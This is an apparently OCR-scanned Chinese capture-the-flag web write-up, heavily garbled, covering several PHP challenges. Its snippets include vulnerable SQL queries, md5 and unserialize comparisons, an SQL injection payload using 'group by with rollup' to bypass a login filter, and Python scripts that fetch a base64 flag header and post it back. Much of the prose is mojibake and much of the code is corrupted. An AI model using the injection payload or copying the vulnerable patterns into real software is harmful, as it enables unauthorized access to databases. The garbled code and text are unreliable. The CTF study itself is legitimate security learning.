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{!— $password=§ POST[ password’];
$sql = "SELECT * FROM admin WHERE username = 'admin’ and password = ' °. md5 ($password, true). ”" 7;
$resul t=mysqli_query ($1ink, $sql) ;
if(mysqgli num rows ($result)>0){
echo 'flag is :’. §flag;

}
else{

echo ~EEFIR!;
}—>
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$result=mysqli_query($link,$sql);
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if(mysqli_num_rows($result)>0)
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function AttackFilter(8StrKey, $StrValue, $ArrReq) {
if (is array($StrValue)) {
$StrValue=implode ($§StrValue) ;
}

if (preg match(”/”. $ArrReq. “/is”, §StrValue)==1) {
print “/KA[E S, TROfEEME! 7
exit();

}

$filter = "and select|from|where union| join|sleep|benchmark/, \( LY
foreach($_POST as $key >$value){ . -
AttackFilter ($key, $value, $filter) ;

}
$Con = mysql_COﬂﬂec‘t(”: 7 : 7 : 7 : 7 : 7 : 77 ¥ ”"I 1 : 1 : 1 : 1 : 1 : 11 4 ”"I 1 : 1 : 1 : 1 : 1 : 11 4 );
if (!$con) {
die(’ Could not connect: ’ . mysql _error());
}
$db:ﬁ: : : : : : : : : : : :: ¥ .

mysql select db($db, $con):
$sq1="SELECT * FROM 1nterest WHERE uname = {$_PDST[’uname’]}’”;
Squery = mysql query($sql); . S '
if (mysql_num rows($query) == 1) {
~ Skey = mysql fTetch array($query):
if ($key[ ' pwd ] == §_POST[ pwd’ 1) {
print “CTF 000X} ™ ;
}else{
print "FRAIEERE! 7

}
telse{
print " —FIFFRE! 7;
}
mysql_close($con) ;
>

FEAR=MOBEERRHT

() EE—Eifiter REBEIE T ¥ AKSQLIR W, FrlEMAISQLIEANRAITT « WRFA T fiter RFKESR], IR
E“KFTEf, TRATERE!

(2) BZRRBFEMER, ERFLENKMT, 7HE5SHERITERES

(3) PR &I AN KHE PR B ) B8 A iR — 47, TR R — B AR B0 T T DUEE A limit FR R B R i€ 03 B 38R LT 308k
‘BRI #E R 2 select * from interest where uname = ‘{KaTeX parse error: Expected 'EOF', got '}' at position 15:
_POST['uname’ly FR#i&: "1'or 1...key[pwd’] == $_POST['pwd'])ix —17

X —KifHWTES), REREISRATRUER AT AL ZT THKES

X e B B T group by with rollupk43id, group by with rollup&EZE iR I~ 4 —%&nulfs B, REEpwWwdEAREE, ifghAtrue
T

[E#imn~



NS A ]

JB 56 2% T 3 A admin NULLIX —4T, {ER4EH T group by with rollup 25 #) Bu4iE B R 5t 2 22 ENULLIX —4T, BT AFRAT TR AT LA
F 18 75 F) 3% HH A ANULL I A — 1T 2 /Epayload

payloadl T

1' or 1 group by with rollup limit 1 offset 2#

X B — Tlimit 1 offset 2/ B2 W58 Z 26 BB IT 4GB — 2B . limit/5 HIBRA 21 2208, offset/ B HER AR M EE — %I 4k
mH, S EKEEDRREunameRERK), AR payloadit R FZERZE—1THIBATLLT .

TIFRE B 8 B R

There is no martial art is indefectible, while the fastest speed is the only way for long success.
>>>>>>--—You must do it as fast as you can!---—-<<<<<<
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import requests

import base64

url = "http://ctf5.shiyanbar.com/web/10/10.php"

r = requests.post(url)#MHrequestsiipost 7= B Sessionfl)iZ#E:
= r.headers["FLAG" |#3KBUR M 3k H I FLAG

base64.b64decode(flag).decode().split(":") [1]#4EHAMHIEE
post = {'key':flag}##i&EPOSTiE Kk
r = requests.post(url,data=post)#POSTH X K iEHIE
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import requests

import base64

url = "http://123.206.87.240:8002/web6/"
H#r = requests.post(url)

s = requests.Session()

#flag = r.headers["FLAG"]

flag = s.get(url).headers['flag']
= base64.b64decode(flag).decode().split()[1]#PAZ M ADFH
= base64.b64decode(flag)#H —IRfEME
= {'margin':flag}

requests.post(url,data=post)
r = s.post(url,data=post)

print(r.text)
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¢td><input type="submit” value="%Tf A £%i"</td>

</t

{/table>

{/form>

{!— $test=$ GET[ username’]; $test=md5 ($test); if($test=="0") —>
</body>

</html>
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Sunserialize_str = § POST['password']; $data_unserialize = unserialize($unserialize str); if(Sdata_unserialize['user’] == '???' && $data_unserialize['pass']=='???") { print_r($flag); } 5 AAIRIFZphp/7i
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<?php

$test



?>
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function encode(§str) {
$_o0 = strrev(fstr)
for($_0=0:%_0<strlen($ o) §_0+H) |
$_c = substr($_o,$_0,1);
ord(§_c)+1;
chr(§__);
_«3_c:
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$_
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}

return str_rotl3{strrevibasefd_encode($_))):
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strrev(hello)==>%iti olleh

**substr() %X f& php AU 7 B 1) 2R £

substr(string,start, length)
stringfstartRUIAKISE, startRamNIG e ETTiEH &

substr("hello world",6)==>%jH world
substr("hello world",1,8)==>%if ello wor
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"alzLbgQsCESEIgRLWUQAyMwLYq2L5VwBXqGA3RQAyumZotmMvSGM2ZwB4tws" ;
str_rotl3($code);

strrev($code);

base64_decode($code);
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0;$x<strlen($code); $x++)

substr($code, $x,1);
$t1 = ord($t) - 1;
$t = chr($tl);
$flag = $flag.$t;
¥
$flag = strrev($flag);
echo $flag;

?>
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